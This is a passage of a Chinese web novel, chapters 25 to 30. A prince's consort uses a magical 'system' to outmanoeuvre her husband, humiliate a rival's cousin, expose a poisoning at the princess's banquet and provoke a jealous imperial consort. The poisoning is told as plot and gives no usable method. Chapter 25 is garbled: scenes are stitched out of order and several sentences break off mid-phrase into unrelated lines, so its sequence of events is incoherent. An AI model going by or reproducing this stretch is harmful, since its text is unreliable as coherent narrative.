《王妃作妖哪家强?三个夫君抢破墙》 第25章 赌约 少装糊涂!东厢房的人已经招了,是你窃取军报! 军报?姜绾歌故作惊讶,妾身一介女流,要军报何用?她晃了晃手中的账本,妾身不过是来查账的。 顾清舟显然不信,一挥手:搜! 亲卫们冲上楼来,姜绾歌却不慌不忙。她早就将真账本和密信藏进了系统空间,桌上摆着的全是伪造的。当亲卫翻箱倒柜时,她甚至悠闲地给自己倒了杯酒。 王爷可找到想要的东西了?她抿着酒,眼中带着挑衅。 顾清舟一把掐住她的手腕:你以为这样就能蒙混过关? 姜绾歌吃痛,却笑得更这时门外响起轻微的脚步声。 王妃,您还没歇息?是绿竹的声音。 姜绾歌虚拟光屏收起来,装作在灯下绣花的样子,头也不抬:这并蒂莲还差几针,绣完便睡。她故意将绣绷转了转,你看这花色可好? 绿竹凑近看了看,忽然压低声音:主子,王爷方才派人去东厢房了。 针尖微微一顿,姜绾歌若无其事地问:哦?所为何事? 说是...查问那两个小厮醉酒闹事。绿竹递上一杯安神茶,奴婢瞧着,王爷脸色很不好看。 姜绾歌接过茶盏,热气氤氲中掩去眼中精光:知道了,你下去吧。 待绿竹退下,她立即将茶水倒进花盆,看来顾清舟起疑了。 翌日清晨,姜绾歌早早来到醉仙楼。掌柜见她连忙迎上来:王妃今日怎么... 王爷让我来看看账目。她亮出地契,径直走向二楼雅间,把最近三个月的流水都拿来。 掌柜额头冒汗:这...容小的去取钥匙... 姜绾歌冷笑:不必了。她一脚踹开账房的门,在众人惊愕的目光中,从暗格里摸出三本账册。翻开最厚的那本,里面赫然夹着几封密信。 王妃!那是...掌柜扑上来要抢。 姜绾歌一个侧身,顺手将早就准备好的假账本调包:慌什么?本王妃查自家产业,天经地义。 她快速浏览密信内容,越看越是心惊。这些竟是顾清舟与西北将领的往来书信,字里行间暗藏谋逆之意。 正思索间,楼下突然传来一阵骚动。她推开窗一看,竟是顾清舟带着亲卫将醉仙楼团团围住! 姜绾歌!顾清舟的声音冷若冰霜,把东西交出来! 姜绾歌心念电转,突然抓起桌上的酒壶往窗外一泼。琥珀色的酒液在空中划出一道弧线,正好洒在顾清舟脚前。 王爷这是做什么?她倚窗轻笑,莫不是来讨酒喝的? 顾清舟脸色阴沉似水加明艳:王爷这般动手动脚,莫不是想坐实"宠妾灭妻"的罪名?她故意抬高声音,让楼下看热闹的百姓都能听见,到时候御史台参上一本,您这"贤王"的名号可就... 顾清舟手上力道一松,眼神却更冷:伶牙俐齿!那两个西北兵已经招认... 招认什么?姜绾歌突然凑近,红唇几乎贴上他耳垂,说我看过他们怀里的布防图?感觉到顾清舟瞬间绷紧的肌肉,她轻笑着退后,王爷不如问问,他们为何带着军报擅离职守? 楼下百姓的议论声更大了。姜绾歌趁机甩袖转身,裙摆在空中划出漂亮的弧度:既然王爷非要较真——她突然回眸一笑,不如赌一把?若您能找到我窃取军报的证据,醉仙楼白送;若找不到...指尖轻轻点在自己唇上,我要王爷腰间那枚鹰纹玉佩。 顾清舟瞳孔微缩。那玉佩是西北军的信物,比地契要紧十倍。 不敢?姜绾歌挑眉,那王爷今日兴师动众... 赌了!顾清舟咬牙,但你要禁足在府! 成交~姜绾歌哼着小曲下楼,路过目瞪口呆的掌柜时,顺手顺了把柜台上的瓜子。 回府路上,青柠急得直跺脚:主子您疯啦?那俩西北蛮子肯定... 急什么?姜绾歌咔吧嗑开瓜子,你去找萧寒,就说——突然压低声音,我要知道顾清舟在西北的矿山,最近三个月运过什么见不得光的东西。 半日后,绿竹带回消息:王爷的矿山每月十五都往外运"石料",可守矿的侍卫说,最近运的都是空箱子! 有意思~姜绾歌正往指甲上涂蔻丹,再去查查,这些"石料"本该送去哪儿。 又过了两日,整个王府都在传:王爷在西北的生意出了问题,好像和军械有关。消息传到顾清舟耳朵里时,姜绾歌正在花园喂鱼。 你干的?顾清舟一把攥住她手腕。 姜绾歌无辜眨眼:王爷说什么呢?鱼食撒了他满袖,哎呀,您吓到我的锦鲤了~ 少装蒜!那些谣言... 谣言?姜绾歌突然正色,王爷不妨想想,谁能接触到矿山的核心账目?谁又最想转移视线?她意有所指地望向柳姨娘的院子,听说...柳姨娘的兄长在兵部当差? 顾清舟脸色阴晴不定。姜绾歌趁机抽出手,从袖中掏出一页纸:巧了,昨儿有人往我院里塞了这个——正是矿山运输的原始记录,上面盖着柳家族徽。 现在...她踮脚取下顾清舟腰间的玉佩,赌约我赢了~ 当夜,东厢房传来鞭打声。姜绾歌倚在窗前,把玩着新得的玉佩:系统,扫描这个纹样。 【滴——检测到西北军暗部联络符号】 姜绾歌笑了。这才是她真正想要的——比醉仙楼重要百倍的情报钥匙。 翌日清晨,姜绾歌正对镜梳妆,突然将玉佩往妆台上一拍:青柠,去把昨儿新裁的衣裳都拿来。 主子要出门?青柠抱着衣裙进来,却见姜绾歌抄起剪刀,咔嚓剪下一块绣着兰花的缎子。 这么好看的料子...青柠心疼得直抽气。 姜绾歌却笑眯眯地把玉佩往缎子上一裹,穿针引线缝成个香囊:王爷的玉佩太招眼,得换个模样。她故意在香囊下边缀了串铃铛,走起路来叮当作响。 刚缝好最后一针,绿竹慌慌张张跑进来:主子!柳姨娘被王爷罚跪祠堂了!那两个西北兵今早也被赶出府了! 姜绾歌把香囊往腰间一挂,铃铛清脆作响:走,咱们去给柳姨娘送碗姜汤。” 第26章 醉仙楼风波 啪! 姜绾歌把账本重重合上,指尖敲了敲桌面:楼下吵什么? 小厮战战兢兢:回王妃,是柳姨娘的表兄赵四,带着人在大堂闹事,还说您... 说我什么?她眼皮都没抬。 说您...克夫。 姜绾歌冷笑一声,慢条斯理地站起身,理了理衣袖:走,去看看这位赵公子有几条命够我收拾。 大堂里,赵四一脚踹翻椅子,扯着嗓子喊:都听好了!这儿的老板娘命硬得很,专克夫家财运... 赵公子。一道清冷的声音打断他。 众人回头,只见姜绾歌站在楼梯口,唇角带笑,眼神却冷得像刀子:你爹娘没教过你,在别人地盘上要夹着尾巴做人? 赵四先是一愣,随即梗着脖子:我说错了吗?自从你进了王府... 啪! 一记响亮的耳光甩在他脸上。 姜绾歌甩了甩手:这一巴掌是教你,饭可以乱吃,话不能乱说。她指了指旁边被烫伤的侍女,现在,给我跪下道歉。 赵四捂着脸,恼羞成怒:你疯了?让我给个下人道歉? 不下跪?姜绾歌点点头,突然提高声音,来人!去把如意坊的李掌柜请来,就说有人欠了三千两银子不还... 赵四脸色瞬间煞白:你、你怎么知道... 我知道的多着呢。她凑近一步,压低声音,比如你上个月偷了柳姨娘的首饰去当,比如你在赌坊输得裤子都不剩... 你胡说!赵四慌了神,抬手就要推她。 姜绾歌早有准备,侧身一让,赵四直接扑了个空,重重摔在地上。 啧,这么急着给我行大礼?她居高临下地看着他,可惜,本王妃受不起。 这时,顾清舟匆匆赶来,身后跟着几个侍卫。他扫了一眼狼藉的大堂,眉头紧锁:怎么回事? 赵四像看到救星,连滚带爬地扑过去抱住顾清舟的腿:王爷!王爷救命啊!王妃要杀我! 顾清舟皱眉看向姜绾歌:绾歌,这是... 姜绾歌冷笑:王爷来得正好,您这位好亲戚在我这儿闹事,伤我的人,还当众造谣生事。您说,该怎么处置? 顾清舟脸色沉了下来。他当然知道赵四是什么德行,但碍于柳盈盈的面子,一直睁一只眼闭一只眼。可如今闹到姜绾歌的地盘上,还伤了人,这事就不能简单了结了。 赵四,顾清舟沉声道,给王妃道歉。 赵四瞪大眼睛,不敢相信自己的耳朵:王爷!您让我给她道歉?明明是她... 闭嘴!顾清舟厉声打断他,你当众辱骂王妃,还伤了她的人,难道不该道歉? 赵四心里一沉。他原本以为有柳盈盈这层关系,顾清舟会偏袒他,没想到... 王爷,他压低声音,带着几分讨好,您看在我表妹的份上... 少拿柳盈盈说事。姜绾歌嗤笑一声,王爷是明事理的人,难道会因为你攀关系就纵容你胡作非为? 顾清舟被这话架住了。他确实不能当着这么多人的面偏袒赵四,否则传出去,别人会说他治家不严,连亲戚都管不住。 赵四,他加重语气,道歉。 赵四额头冒出冷汗。他偷偷瞄了眼四周,发现所有人都盯着他,眼神里带着嘲讽和鄙夷。 他的脸一阵红一阵白,心里又羞又恼。 让他给姜绾歌道歉?那以后他还怎么在京城混? 王爷,他咬牙道,您真要为了一个女人,不顾亲戚情分? 顾清舟眼神一冷:你是在教本王做事? 赵四被这眼神吓得一哆嗦,但还是不甘心:我、我不是这个意思... 不是就赶紧道歉。姜绾歌不耐烦地打断他,本王妃没时间陪你耗。 赵四握紧拳头,指甲都掐进了肉里。 他死死盯着姜绾歌,恨不得扑上去撕了她。可顾清舟就站在旁边,他不敢。 我...他张了张嘴,声音像从牙缝里挤出来的,对...对不起... 姜绾歌挑眉:没听见。 你!赵四气得浑身发抖。 顾清舟冷冷道:大声点。 赵四憋得脸色发紫,终于大吼一声:对不起! 姜绾歌掏了掏耳朵:这么不情不愿的,不知道的还以为我欺负你呢。她指了指地上洒的汤,还有这个,舔干净。 赵四猛地抬头:你别太过分! 过分?姜绾歌冷笑,你伤我的人,毁我的生意,还造谣生事,现在跟我说过分?她转向顾清舟,王爷,您觉得呢? 顾清舟沉默片刻,终于道:赵四,照王妃说的做。 赵四如遭雷击:王爷!您真要... 要么照做,顾清舟面无表情,要么我现在就让人把你送去官府,你自己选。 赵四彻底慌了。送去官府?那他那些烂事不就全曝光了?到时候别说柳盈盈,天王老子都救不了他! 我...我做...他哆哆嗦嗦地趴下去,像条狗一样舔着地上的汤汁。 周围响起一片嘘声。赵四羞愤欲死,恨不得找个地缝钻进去。 姜绾歌满意地点点头:早这么乖不就好了?她看向顾清舟,王爷,您这位亲戚可要好好管教,下次再犯,可就不是舔地这么简单了。 顾清舟深深看了她一眼:本王自有分寸。 姜绾歌笑了笑,转身要走,突然又想起什么:对了,记得赔我侍女一百两医药费。少一个子儿...她意味深长地看了眼赵四,我就让全京城都知道,柳家的好亲戚是个什么德行。 赵四瘫坐在地上,手指死死抠着地砖。他盯着姜绾歌的背影,眼里全是恨。 这女人竟然让他像狗一样舔地! 你给我等着...他哑着嗓子低吼,攥紧的拳头把袖子都扯破了。 今天的耻辱,他早晚要讨回来! 走出醉仙楼时,绿竹小声问:王妃,您真要去柳姨娘院里闹啊? 姜绾歌弹了下她的脑门:傻丫头,吓唬人的。不过...她眯起眼睛,他们要是再敢惹我,我不介意把再次把王府弄得鸡飞狗跳。 当晚,柳盈盈得知消息后,气得摔了一屋子瓷器。 而姜绾歌,正悠闲地品着茶,听着小厮汇报赵四灰溜溜离开京城的消息。 王妃,您真厉害!绿竹崇拜地说。 姜绾歌抿了口茶,淡淡道:遇到狗叫怎么办?当然是送它去绝育啊。” 第27章 雪莲露 长公主府前,华丽的马车一辆接一辆驶来,府门口的小厮们忙得满头大汗,不停地弯腰行礼,引导各家贵人入场。 靖王府的马车到了!一个小厮高声喊道。 姜绾歌的马车刚停稳,就有两名穿着浅绿色衣裙的侍女快步上前,恭敬地掀起车帘:靖王妃万福。 姜绾歌扶着侍女的手下了马车,抬头望了望长公主府的大门。朱红色的大门上钉着金灿灿的铜钉,门楣上挂着长公主府四个鎏金大字,在阳光下闪闪发亮。 不愧是长公主的府邸。姜绾歌心中暗叹,面上却不露分毫。 踏入长公主府,姜绾歌不禁暗暗赞叹。庭院深深,曲径通幽,处处彰显着皇家气派。假山环绕,水榭亭台,仿佛一座小型皇宫。她不动声色地观察着四周,将府内的布局暗暗记在心中。 靖王妃到——一声高喝响起,姜绾歌整了整衣袖,抬步走入大厅。 厅内早已宾客满座,众多达官贵人衣香鬓影,谈笑风生。姜绾歌环顾四周,很快找到了自己的位置,同时目光不经意地扫过厅中几位贵妇。 不远处,林三娘和姜莲已经落座,正急切地朝这边望来。姜莲脸上带着一丝紧张和期待,而林三娘则是一副阴沉的表情。看到姜绾歌看过来,姜莲立刻扬起下巴,露出一个挑衅的笑容。 姜绾歌心中冷笑,却不动声色地向长公主行礼。长公主王玉华端坐在上首,身着明黄色宫装,雍容华贵,虽已四十岁,脸上却几乎看不到岁月的痕迹,只在眼角有几道几不可见的细纹。 臣妇姜绾歌,拜见长公主。祝长公主千秋节愉快,福寿安康。姜绾歌屈膝行礼,举止端庄。 长公主满意地点点头:靖王妃免礼。听闻你近日在京中颇有声名,今日一见,果然不凡。 姜绾歌谦虚一笑:公主过奖了,臣妇惭愧。说着,她从绿竹手中接过锦盒,双手呈上,这是臣妇的一点心意,虽不值钱,却是臣妇亲手所制,望公主笑纳。 长公主示意身旁的嬷嬷接过锦盒,正要说话,突然一个尖细的声音插了进来。 姐姐送的是什么呀?该不会是从哪个地摊上买的便宜货吧?姜莲不知何时已经走了过来,手里捧着一个鎏金锦盒,脸上带着刻意的笑容。 厅内顿时安静了几分,不少贵妇都投来好奇的目光。 姜绾歌神色不变:妹妹说笑了,不过是些寻常药材制成的面脂罢了。 哎呀,那可真是寒酸。姜莲故意提高声音,让周围人都能听见,我这可是花了三千两黄金,托人从雪山之巅采来的百年雪莲制成的雪莲露!一滴就能让皱纹全消! 周围立刻响起一片惊叹声。 天啊!姜二小姐竟有这等门路! 听说长公主最重容貌,这礼可送到心坎上了! 姜莲得意地瞥向姜绾歌:姐姐那盒地摊货,还是别拿出来丢人了! 长公主眼中闪过一丝兴趣:哦?雪莲露?本宫倒是听说过此物,据说有返老还童之效。 姜莲立刻谄媚地笑道:正是!这雪莲露是西域百年难遇的珍品!我特意为公主准备的。她双手奉上锦盒,请公主笑纳。 长公主示意嬷嬷接过锦盒,打开一看,里面是一个精致的水晶瓶,瓶中液体清澈透明,泛着淡淡的蓝色光泽。 确实不凡。长公主点点头,来人,取银盏来。 很快有侍女端来银盏,长公主亲自将几滴雪莲露滴入盏中,又加入温水。她举盏轻啜一口,满意地眯起眼睛:清香怡人,果然是好东西。 姜莲脸上露出胜利的笑容,挑衅地看了姜绾歌一眼。 姜绾歌却微微皱眉,她敏锐地注意到雪莲露的颜色有些不对劲——真正的天山雪莲制成的露水应该是淡绿色,而非蓝色。而且,她似乎闻到了一丝若有若无的辛辣气味。 系统,分析那雪莲露的成分。姜绾歌在心中默念。 【叮!检测到生半夏成分,与雪莲混合后遇热会产生毒素,导致皮肤溃烂】 姜绾歌心下一动,立刻猜到了姜莲的用意。 她不动声色地瞥了姜莲一眼,对方正紧盯着长公主,眼中闪烁着隐秘的期待。她指尖微顿,却终究没有出声,只是静静看着长公主将那盏雪莲露一饮而尽。 味道确实不错。长公主放下银盏,指尖在盏沿轻轻一叩,发出清脆的声响。 姜莲立即福身,眼角眉梢都是掩不住的期待:公主喜欢就好。 殿内熏香缭绕,众人正要举杯同饮,却见长公主突然蹙眉,手指无意识地抚过脸颊:怎么突然...话音未落,她猛地按住太阳穴,身形一晃。 公主?近侍女官慌忙上前。 啊——!一声痛呼,长公主踉跄后退,手中丝帕飘然落地。她原本莹润的面容此刻泛起不正常的潮红,细密的红疹以肉眼可见的速度从脖颈蔓延至耳后。 太医!快传太医!女官尖声喊道。 整个大殿瞬间乱作一团。案几被撞翻,茶盏碎了一地。贵女们惊慌失措地退到角落,有人不慎踩到裙摆跌坐在地。姜莲脸色煞白,手中的团扇啪地掉在地上。 长公主痛苦地喘息着,在侍女的搀扶下勉强站立,但双腿已经不受控制地发软。她张了张嘴想说什么,却突然剧烈咳嗽起来,一缕鲜血从嘴角溢出。 是中毒!不知是谁喊了一声,殿内顿时炸开了锅,侍卫们冲进来将人群隔开。 天爷啊!公主的脸——!李尚书夫人最先惊叫,手中茶盏哐当摔得粉碎。 是雪莲露!那盏雪莲露有问题!承恩侯夫人厉声喝道,拽着女儿连连后退。她保养得宜的脸上满是惊惧,快拿下姜莲! 殿内顿时乱作一锅沸水。 贵女们惊慌四散,珠翠碰撞声、裙摆摩擦声混作一团。几位年长的命妇还算镇定,却也不住地用帕子掩住口鼻后退。 铮—— 侍卫统领刀鞘出鞘的金属颤音让全场一静。十余名带刀侍卫瞬间将姜莲围得水泄不通,两柄雪亮的刀刃一左一右架在她颈间,在烛火下泛着森冷的光。 第28章 金凤令 不...不是我!姜莲瘫软在地,精心梳妆的发髻散乱开来。她突然疯了一般指向姜绾歌,指甲深深掐进掌心:是她!定是姜绾歌在雪莲露里动了手脚!她向来嫉恨我! 长公主此刻已痛得蜷缩在凤座上,原本雍容华贵的面容扭曲可怖。 她死死攥住扶手,指甲在檀木上刮出刺耳的声响:御...医...突然一口鲜血喷在绣着金凤的衣襟上,她猛地抬头,染血的牙齿咬得咯咯作响:给本宫...把这毒妇...凌迟处死! 且慢! 姜绾歌清冷的声音如碎玉般划破混乱。她快步上前,裙裾掠过地上打翻的茶盏,在长公主三步外稳稳停住行礼:请容臣妇为公主诊治。 长公主布满红疹的脸上闪过一丝狠厉:你...你们姜家...话未说完,突然痛苦地弓起身子,指甲在扶手上抓出数道白痕。 若臣妇存心害您,姜绾歌不退反进,直接执起长公主的手腕,此刻大可以看着您毒发。她指尖精准按在腕间穴位,长公主顿时觉得翻涌的气血稍缓。 众人屏息间,只见姜绾歌取过残存的雪莲露轻嗅,突然转身将玉瓶掷在姜莲脚前。啪的一声脆响,瓷片四溅。 济世堂的雪莲露向来纯净,她一字一顿,妹妹往里面加了什么? 姜莲被飞溅的瓷片惊得倒退两步:我...我没加... 没加?姜绾歌突然擒住她的手腕举起, 那妹妹袖袋里掉出的生半夏粉末,是要给哪位太医验看?一撮白色粉末正从姜莲袖口簌簌飘落。 就在这时,一个贵妇突然说:我想起来了!前天在济世堂药铺,我看到林三娘和姜二小姐一起买了雪莲露! 所有人的目光立刻转向林三娘。殿内一片哗然,众人目光如刀般射向林三娘。 林三娘脸色唰地惨白,手中帕子绞得死紧:不关我的事!雪莲露分明是一人一半,定是她想讨好长公主,在自己那份里动了手脚! 姜莲浑身发抖,指着林三娘的手指都在打颤:林三娘!你竟敢... 住口!林三娘厉声打断,鬓边珠钗乱颤,自己做下这等恶事,还想拉我垫背不成? 长公主痛苦地蜷在凤座上,原本华贵的朝服已被冷汗浸透,声音嘶哑得不成样子:御医...御医何在... 姜绾歌见状,果断上前:公主,毒素已入血脉,等不及御医了。请允臣妇一试。 你?长公主涣散的目光勉强聚焦。 不可!靖王顾清舟箭步上前,玄色蟒袍在烛火下泛着冷光,姜绾歌,公主若有闪失,你十个脑袋也不够砍! 姜绾歌不卑不亢:王爷是要眼睁睁看着公主毒发吗? 正当僵持之际,一道沉稳的女声从人群中传来:老身愿以性命担保,姜姑娘医术高明。众人回首,只见满头银丝的英国公夫人拄着沉香木杖缓步而出。 殿内顿时响起一片抽气声。英国公夫人是三朝诰命,连太后都要礼让三分。 前日老身在济世堂昏厥,老夫人木杖重重一顿,太医院判都诊不出病因,是姜姑娘用金针渡穴,三剂药便让老身痊愈。她直视长公主,公主若不信,可查验太医院脉案。 长公主涣散的目光微微一亮,艰难地点了点头:准... 老夫人莫不是老糊涂了?承恩侯夫人尖声道,她一个闺阁女子能有什么医术? 就是!立刻有人附和,怕不是想借机害死公主! 英国公夫人冷笑一声,木杖突然指向说话之人:当日老身咯血昏迷时,怎么不见诸位说太医院是庸医?她转身对姜绾歌郑重颔首,姑娘尽管施为,老身在此坐镇。 姜绾歌不再多言,迅速取出随身锦盒。当看到她竟刺破指尖滴血入药时,满堂贵妇又是一阵骚动。 装神弄鬼!林三娘躲在人后嘀咕。 英国公夫人一个眼风扫过去,林三娘立刻缩了脖子。长公主虚弱地睁开眼,看着姜绾歌娴熟的动作,终于彻底放松了紧绷的身子。 殿内落针可闻,姜绾歌指尖轻点,在众人看不见的虚空中快速操作系统界面:【毒素分析完成,生半夏中毒,建议使用特效解毒剂...】 突然,殿门被猛地撞开。白发苍苍的张太医提着药箱踉跄而入,看到长公主症状后倒吸凉气:这...这是生半夏急性中毒!他颤抖着去翻药箱,需要立刻催吐... 来不及了。姜绾歌沉声道,借着袖袋遮掩从系统空间取出一支泛着蓝光的注射器,毒素已进入血液。 众人只见她手腕一翻,那支造型奇特的银针就抵在了长公主手臂上。 住手!靖王厉喝。 但姜绾歌已经按下机关,药剂瞬间注入。长公主突然剧烈抽搐,哇地吐出一大口黑血。 你——张太医刚要怒斥,却在看到吐出的血沫时愣住:这...血中带蓝,果然是生半夏中毒!他猛地抓住姜绾歌的手腕,姑娘用的是什么药?竟能立时中和毒素? 姜绾歌从容收起注射器:家传秘方。说着又从空间取出一粒白色药片,请公主含服此药,可修复受损黏膜。 老太医捧着药片的手都在发抖:这药丸晶莹如玉,老朽行医六十载从未...话音未落,长公主已经睁开双眼,溃烂的面部竟开始结痂。 神药!这是仙丹啊!张太医激动得老泪纵横。 此时姜莲突然崩溃,从袖中抖出一张药方:不可能!那江湖郎中明明说....... 姜绾歌冷冷地看向她:你明明买通公主的婢女换了熏香,让毒性暴增三倍? 说着,她突然抓住一个正要溜走的婢女,从她袖中掏出一个药包,人赃俱获! 那婢女瘫软在地,哭喊道:是姜二小姐逼我的!她说如果我不照做,就让人打死我弟弟! 长公主已经能坐起来了,她摸着自己逐渐恢复的脸,眼中满是狂喜和愤怒:好...好得很!她厉声喝道,来人!把姜莲和这贱婢押入大牢! 侍卫们立刻上前,将哭喊挣扎的姜莲和那婢女拖了下去。 长公主转向姜绾歌,眼中满是感激:靖王妃,今日多亏有你。她高声命令,来人,把金凤令拿来! 第29章 淑妃娘娘 长公主刚要赐金凤令,殿外忽传太监尖声高唱:“皇上驾到——” 满殿贵妇慌忙跪伏,珠钗环佩叮当作响。姜绾歌垂首,余光瞥见一双玄色龙纹靴从眼前踏过,袍角掠过青砖,带起一阵沉水香的风。 “都平身吧。”顾明轩的声音从头顶落下,沉稳里透着一丝倦意。 姜绾歌起身时,正对上淑妃娘娘投来的目光——那女人站在帝王身侧,一袭藕荷色宫装,指尖捏着绣帕,唇角含笑,眼底却冷得像淬了冰。 众人参拜后,皇上在主位坐下,目光扫过殿内一片狼藉的景象,眉头微皱:“这是怎么回事?” 长公主勉强一笑,指了指地上残留的黑血:“有人在本宫的雪莲露里下毒,多亏靖王妃医术高明,否则……” 顾明轩眼神倏地一沉。 殿内贵妇们七嘴八舌,有人唏嘘姜莲狠毒,有人夸赞姜绾歌临危不乱。淑妃捏着帕子的手紧了紧——皇上竟多看了那女人两眼! “哦?”顾明轩终于开口,语气淡淡,“靖王妃还会医术?” 姜绾歌福身:“略通皮毛,侥幸罢了。” 顾明轩越发好奇她身上的秘密了。 这女人,怎么什么都会一点。 长公主此时起身,恭敬地对皇上行了一礼,说道:“皇兄,今日若不是靖王妃,恐怕臣妹已遭毒手。臣妹感激她的救命之恩,正想将金凤令赐予她。” 顾明轩听闻,看了一眼姜绾歌,淡淡说道:“既然如此,长公主自行定夺便是。” 长公主忽然抬手,嬷嬷立刻捧来一只鎏金木匣。匣盖掀开,一枚赤金令牌静静躺在红绸上,凤纹展翅,栩栩如生。 满殿哗然! “金凤令?!”承恩侯夫人失声惊呼,“这、这可是能号令半数命妇的……” 淑妃指甲猛地掐进掌心。她讨好长公主整整五年,磨破了嘴皮子都没摸到这令牌的边!凭什么这女人救个人就能拿到? 长公主将令牌递给姜绾歌:“今日若非你,本宫命休矣。这金凤令,你当得起。” 淑妃一听,心里不乐意了。 我讨好长公主这么久,她都没给我金凤令,这姜绾歌不过治了个病,凭什么能拿? 淑妃裙摆扫过青砖往前迈了一步。她垂在身侧的手攥紧绢帕,嘴角却扯出笑来:“公主三思!” 指尖无意识摩挲着帕子上的花纹,“靖王妃救人是真,但她用的法子奇怪,谁知道以后有没有隐患?金凤令是长公主府的重宝,哪能随便送人?” 长公主猛地攥住金凤令,指节泛白:“淑妃,靖王妃的医术有英国公夫人作证。” 她重重将令牌拍在案上,震得茶水溅出杯沿,“之前英国公夫人晕倒,太医院都没辙,她三副药就治好了。刚才要不是她当机立断,我现在恐怕已经中毒了,这令牌她受得起!” 淑淑妃却不肯罢休,继续说道:“长公主,话虽如此,但这金凤令意义非凡,万一靖王妃别有用心,利用此令做出什么对长公主府不利之事,那该如何是好?” 姜绾歌猛地抬眼,眼底寒光如刃,嘴角勾起一抹讥讽的笑,径直打断淑妃的话。 “淑妃娘娘这话说得可笑!您说我方法奇特有隐患,敢问您是太医院院判,还是精通医术?民女救人时,您怕是还在自己宫里摆弄胭脂水粉,如今倒会隔着八丈远挑刺了?” 她往前踏一步,周身气势凌厉,“我凭医术救人,光明磊落。倒是娘娘,三番五次阻拦,莫不是自己得不到金凤令,就见不得旁人好?您这般做派,传出去,别人还以为您善妒容不下有功之人呢!” 她顿了顿,扫了眼淑妃青白的脸色,继续冷笑道:“长公主的安危,轮不到娘娘指手画脚。若娘娘真为长公主好,就该闭上嘴,而不是在这儿泼脏水!” 淑妃刚想开口怼回去,皇上眉头猛地蹙起,眼中闪过一丝不悦,狠狠拍了下龙椅扶手,发出“咚”的一声巨响:“放肆!在朕的面前,岂容你们这般争吵!” 他目光如炬,先扫了眼脸色惨白、身子微微发抖的淑妃,又看向依旧挺直脊背、毫不畏惧的姜绾歌,沉声道。 “靖王妃虽言辞犀利,但救长公主有功;淑妃,你身为后宫嫔妃,本该和睦处事,却在此无端质疑,成何体统!” 稍稍停顿后,皇上放缓了语气,“靖王妃当机立断救了长公主,这份胆识和医术,便是朕也赞赏!淑妃,你既无救人之能,就少在这儿指手画脚!” 说罢,又转头看向长公主,“皇妹。”他开口,语气不容置疑,“金凤令既是你之物,自然由你定夺。” 长公主会意,亲手将令牌系在姜绾歌腰间。 淑妃死死咬住唇,尝到一丝血腥味。 宴散时,姜绾歌故意落在最后。 果然,转角阴影里,顾明轩负手而立。 “皇上还有吩咐?”姜绾歌看向顾明轩那张意味深长的脸。 顾明轩直视姜绾歌的目光,手指摩挲着腰间玉佩,忽然道:“我听暗卫说了,你今日用的针法,朕在太医院没听过。” 姜绾歌心跳漏了一拍。 那注射器是系统给的,这男人的心思也太缜密了! “家传秘术。”她敷衍道,转身欲走。 身后传来低笑:“救了长公主,除了长公主给了令牌,你就没什么想要的?” 姜绾歌回头,正撞进他深不见底的眼眸里。 “有啊。”她忽然勾起唇角,“你猜?” 顾明轩一怔,随即大笑。 淑妃站在廊柱后,将这一幕尽收眼底。 她狠狠折断了一根护甲。 她看着皇上与姜绾歌谈笑风生的模样,眼中闪过一丝阴狠。 贴身宫女翠儿小心翼翼地凑近:娘娘,咱们回宫吗? 贱人!淑妃冷笑一声,声音压得极低,本宫倒要看看,这个靖王妃到底有什么本事,能让皇上这般另眼相待。 “你给我去查清楚这个靖王妃到底是什么来路,我要最详细的资料。她凭什么可以拥有金凤令,我一定要把令牌抢过来。” 第30章 算计 长公主府一事过后,姜绾歌手握金凤令,在京城贵女圈中名声鹊起。可这风光背后,淑妃那张精心修饰的脸已经扭曲得不成样子。 啪! 上好的象牙梳被狠狠摔在地上,断成两截。 好一个姜绾歌!淑妃盯着铜镜中自己狰狞的面容,指甲深深掐进掌心,本宫费尽心思讨好那个老女人这么多年,她倒好,轻轻松松就得了金凤令! 翠儿战战兢兢地捡起断梳:娘娘息怒,那姜绾歌不过是... 闭嘴!淑妃猛地转身,金钗乱颤,去查的事有结果了吗? 翠儿连忙凑近:回娘娘,这姜绾歌确实不简单。表面是个不受宠的嫡女,实则医术高明,与靖王殿下更是...她故意欲言又止。 淑妃眯起眼睛:说下去。 听说靖王殿下近日夜夜宿在王妃院里...翠儿压低声音,而且,有人看见他们在花园里... 够了!淑妃猛地拍案,去,派人盯紧靖王府。本宫倒要看看,这个姜绾歌到底有什么本事! 与此同时,靖王府内。 姜绾歌把玩着金凤令,唇角噙着一丝冷笑:绿竹,你说这令牌像不像块烫手山芋? 绿竹正在斟茶:主子说笑了,这可是天大的荣耀... 荣耀?姜绾歌轻哼一声,怕是催命符还差不多。淑妃那个疯女人现在指不定怎么盘算着弄死我呢。 话音刚落,院外突然传来一阵骚动。 王妃!抓到一个鬼鬼祟祟的小厮!丫鬟们押着一个灰衣男子走来。 姜绾歌挑眉看去,那小厮眼神闪烁,额角冒汗,一看就有问题。 哟,这是哪家的探子这么不长眼?她慢悠悠地抿了口茶,说吧,谁派你来的? 小厮跪在地上直发抖:奴、奴才只是路过... 路过?姜绾歌突然将茶盏重重一放,本王妃的院子在王府最深处,你一个外院洒扫的,路过到这儿来了? 她起身走到小厮跟前,居高临下地打量:让我猜猜...是淑妃娘娘派你来的吧? 小厮脸色刷白:不、不是... 不是?姜绾歌冷笑,那正好,本王妃最近新配了种毒药,正愁没人试药呢。她转向绿竹,去把我那瓶"七日断肠散"拿来。 王妃饶命!小厮顿时瘫软在地,是、是淑妃娘娘让奴才来打探消息... 姜绾歌眼中寒光一闪:回去告诉你主子,靖王府的事不劳她费心。若再有下次...她俯身在小厮耳边轻声道,我就让她尝尝什么叫真正的毒药。 待小厮连滚带爬地逃走,绿竹忧心忡忡:主子,这样会不会... 怕什么?姜绾歌重新坐下,优雅地整理衣袖,对付这种阴沟里的老鼠,就得把棍子打疼了才行。 她望向皇宫方向,眼神锐利如刀:不过,以淑妃的性子,肯定不会善罢甘休...看来得先下手为强。 翌日,长公主府。 殿下,您说这淑妃是不是活腻了?姜绾歌将茶点推到长公主面前,语气轻松得像在聊家常,连您的人都敢动。 长公主眉头一皱:此话怎讲? 姜绾歌压低声音:前几日我抓到个探子,说是淑妃派来监视靖王府的。我仔细一盘问...她故意顿了顿,原来是在查您赏我金凤令的事呢。 啪!长公主手中的茶盖重重落下。 好大的胆子!长公主脸色阴沉,本宫赏出去的东西,轮得到她来过问? 姜绾歌适时递上一份名单:这是那探子供出的同伙,都在您府上当差呢。 长公主捏着名单的指节发白,猛地摔在桌上,纸页哗啦散开:“这群吃里扒外的东西!竟敢跟淑妃勾连,当本宫是瞎子吗?”她胸口剧烈起伏,丹凤眼瞪得滚圆,“靖王妃放心,本宫定叫他们好看!” 